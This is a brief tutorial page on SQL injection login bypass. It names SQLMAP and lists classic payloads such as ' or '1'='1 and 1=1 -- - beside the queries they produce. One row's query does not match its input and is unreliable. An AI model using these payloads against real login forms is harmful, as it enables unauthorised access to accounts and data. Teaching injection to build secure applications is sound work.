SQL Injections


In this section I want to show you how to inject SQL databases if they aren't secured properly. There are multiple tools (e.g. on Kali Linux) in order to check if the database is vulnerable. One of the most famous ones is called SQLMAP.



The goal is to bypass the actual authentication with modified parameters. A lot of examples including their queries are listed below.

Username Password SQL Query
andrew sosecure SELECT * FROM users WHERE name='andrew' and password='sosecure'
andrew ' or '1'=1 SELECT * FROM users WHERE name='andrew' and password='' or '1'='1'
andrew ' or 1=1 -- - SELECT * FROM users WHERE name='andrew' and password='' or 1='1'
andrew 1' or 1=1 -- - SELECT * FROM users WHERE name='andrew' and password='' or 1=1-- -'
' or '1'='1 ' or '1'='1 SELECT * FROM users WHERE name='' or '1'='1' and password='' or '1'='1'
' or ' 1=1 ' or ' 1=1 SELECT * FROM users WHERE name='' or ' 1=1' and password='' or ' 1=1'
1' or 1=1 -- - anything SELECT * FROM users WHERE name='1' or 1=1 -- -' and password='anything'


A great site that has been made to try those can be found here.


Binaryyy